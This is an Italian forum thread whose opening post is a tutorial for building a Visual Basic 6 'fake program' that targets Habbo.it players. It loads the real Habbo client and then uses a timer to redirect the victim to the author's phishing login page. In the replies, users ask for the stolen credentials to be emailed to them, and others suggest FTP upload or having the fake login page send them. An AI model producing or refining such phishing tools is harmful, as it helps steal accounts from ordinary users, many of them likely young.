Guida Creare Fake-Program In vb6

[ilpartigiano]

Ora vi posto la guida per creare un fake program in vb6

Fonte Mia

Bene Prima di tutto aprire vb6 e creare un nuovo standard exe.
Poi Creare 4 Form.
Ora andiamo sul primo Form e creiamo 3 Command Button. Cambiare la caption di ognuno con : (Importante che li scriviate nell' ordine che vi ho dato) :
1) Log In Habbo.it
2) Script
3) Guida
Ora Cliccare due volte sul form e cambiare con il seguente codice :

Spoiler

Private Sub Command1_Click()
Form2.Show
End Sub

Private Sub Command2_Click()
Form3.Show
End Sub

Private Sub Command3_Click()
Form4.Show
End Sub

Private Sub Form_Load()

End Sub

Ora andiamo sul Form2 e creiamo un web browser

Spoiler

Per creare un WebBrowser Bisogna Andare su Project / Components / E selezionare Microsoft Internet Controls

Poi creare due timer .
Sul Primo Cambieremo l' intervallo con 60000
Sul secondo invece cambieremo l' intervallo con 61000.
Poi Cliccate due volte sul form e cambiate tutto con il seguente codice

Spoiler

Private Sub Form_Load()
WebBrowser1.Navigate "www.habbo.it/client"
End Sub

Private Sub Timer1_Timer()
WebBrowser1.Navigate "Nome del tuo fakelogin"
End Sub

Poi andare sul Form3 e Iniziate a creare tutti i buttons che volete per abbellire il vostro Fake Program.

Poi andate sul Form4 e Create una guida :

Spoiler

Esempio:
Per utilizzare il fake-program Accedere prima ad habbo tramite Log In Habbo.it e poi Scriptare

Poi creare un Moduls che chiameremo modMain .
All' interno del moduls scriveremo il seguente codice :

Spoiler

Option Explicit

Public Type tagInitCommonControlsEx
lngSize As Long
lngICC As Long
End Type
Public Declare Function InitCommonControlsEx Lib "comctl32.dll" (iccex As tagInitCommonControlsEx) As Boolean
Public Const ICC_USEREX_CLASSES = &H200

Private Declare Function GetSystemMetrics Lib "user32" (ByVal nIndex As Long) As Long

Private Const SM_CXICON = 11
Private Const SM_CYICON = 12

Private Const SM_CXSMICON = 49
Private Const SM_CYSMICON = 50

Private Declare Function LoadImageAsString Lib "user32" Alias "LoadImageA" ( _
ByVal hInst As Long, _
ByVal lpsz As String, _
ByVal uType As Long, _
ByVal cxDesired As Long, _
ByVal cyDesired As Long, _
ByVal fuLoad As Long _
) As Long

Private Const LR_SHARED = &H8000&
Private Const IMAGE_ICON = 1

Private Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private Const WM_SETICON = &H80
Private Const ICON_SMALL = 0
Private Const ICON_BIG = 1

Private Declare Function GetWindow Lib "user32" (ByVal hWnd As Long, ByVal wCmd As Long) As Long
Private Const GW_OWNER = 4


Public Sub Main()

On Error Resume Next

Dim iccex As tagInitCommonControlsEx
With iccex
.lngSize = LenB(iccex)
.lngICC = ICC_USEREX_CLASSES
End With
InitCommonControlsEx iccex

On Error GoTo 0
Form1.Show

End Sub

Public Sub SetIcon( _
ByVal hWnd As Long, _
ByVal sIconResName As String, _
Optional ByVal bSetAsAppIcon As Boolean = True _
)
Dim lhWndTop As Long
Dim lhWnd As Long
Dim cx As Long
Dim cy As Long
Dim hIconLarge As Long
Dim hIconSmall As Long

If (bSetAsAppIcon) Then
' Find VB's hidden parent window:
lhWnd = hWnd
lhWndTop = lhWnd
Do While Not (lhWnd = 0)
lhWnd = GetWindow(lhWnd, GW_OWNER)
If Not (lhWnd = 0) Then
lhWndTop = lhWnd
End If
Loop
End If

cx = GetSystemMetrics(SM_CXICON)
cy = GetSystemMetrics(SM_CYICON)
hIconLarge = LoadImageAsString( _
App.hInstance, sIconResName, _
IMAGE_ICON, _
cx, cy, _
LR_SHARED)
If (bSetAsAppIcon) Then
SendMessageLong lhWndTop, WM_SETICON, ICON_BIG, hIconLarge
End If
SendMessageLong hWnd, WM_SETICON, ICON_BIG, hIconLarge

cx = GetSystemMetrics(SM_CXSMICON)
cy = GetSystemMetrics(SM_CYSMICON)
hIconSmall = LoadImageAsString( _
App.hInstance, sIconResName, _
IMAGE_ICON, _
cx, cy, _
LR_SHARED)
If (bSetAsAppIcon) Then
SendMessageLong lhWndTop, WM_SETICON, ICON_SMALL, hIconSmall
End If
SendMessageLong hWnd, WM_SETICON, ICON_SMALL, hIconSmall

End Sub

Sub LoadResStrings(frm As Form)
On Error Resume Next


Dim ctl As Control
Dim sCtlType As String
Dim nVal As Integer

'set the form's caption
frm.Caption = LoadResString(CInt(frm.Tag))

'set the controls' captions using the caption
'property for menu items and the Tag property
'for all other controls
For Each ctl In frm.Controls
sCtlType = TypeName(ctl)
If sCtlType = "Menu" Then
ctl.Caption = LoadResString(CInt(ctl.HelpContextID))
Else
nVal = 0
nVal = Val(ctl.Tag)
If nVal > 0 Then ctl.Caption = LoadResString(nVal)
nVal = 0
nVal = Val(ctl.ToolTipText)
If nVal > 0 Then ctl.ToolTipText = LoadResString(nVal)
End If
Next

End Sub

Spero vi piaccia
Questa Guida è stata creata da me ed è sotto license creativity commons . Se la si vuole postare in altri siti si prega di Chiedere prima il permesso

Perfavore, Entra oppure Registrati per vedere i Link!

 

[cocacola95]

Carina ! Però è tramite fake login !

 

[ilpartigiano]

sisi io l' ho creata per habbo ... Questa guida ti fa fare fake program tipo quelli di Hotel Fico

 

[cocacola95]

si mi piace ma ame servirebbe un codice che funzionasse però che faccia arrivarei dati all'e-mail e no nel log

 

[ilpartigiano]

Ci lavorerò al + presto

 

[antonio000]

molte grazzie

 

[ilpartigiano]

Di niente cmq raga segnalatemi qualsiasi errore vi dia oki??

 

[cocacola95]

nessun errore

 

[:Dj-Fede:]

serve kuello a mail ;)

 

[FireFox]

E' difficile mandare e-mail con VB6, stranamente i CDO danno sempre errore ^^
Vi conviene di più ovviare attraverso l'upload via ftp.
Buona guida, però ti conviene commentare il codice, la ritengo una cosa importante commentare riga per riga per spiegare a chi poco ne sà!

 

[cocacola95]

[ot]Sto cerkano su google come risolvere questo problema ma non si trova niente[/ot]

 

[R3tr0s]

la guida è un po confusionaria e come ha detto firefox devi spiegare a quelli che stanno facendo i primi passi in vb , poi secondo me questo non è tanto un fakeprogram ma un reindirizzatore al proprio fake-login :bravo:

 

[Nocturno]

Già FORSE un pò confusionaria... Ma pur sempre una guida, e a mio parere, anche bella complimenti
Approposito... ma a "Nome del tuo fake login" dobbiamo mettere l'indirizzo del nostro fake login?

 

[Ignazio96]

mmhmh in realtà l'email in visual basic non servirebbe è_é perkè ha la funzione di un webBrowser quando avviamo il fake program...
Mi spiego,quando creiamo un browser in visual basic mettiamo lo stesso lo strumento webBrowser come facciamo quindi nel fake program.
Quindi il fake program non è lui che agisce sul sito bensì dobbiamo fare sì ke il FAKE LOGIN sia tramite e-mail non il nostro fake!!! è_é
Spero di essere stato chiaro xD

 

[DarkDead]

ma nn serve a nnt sta guida nn funge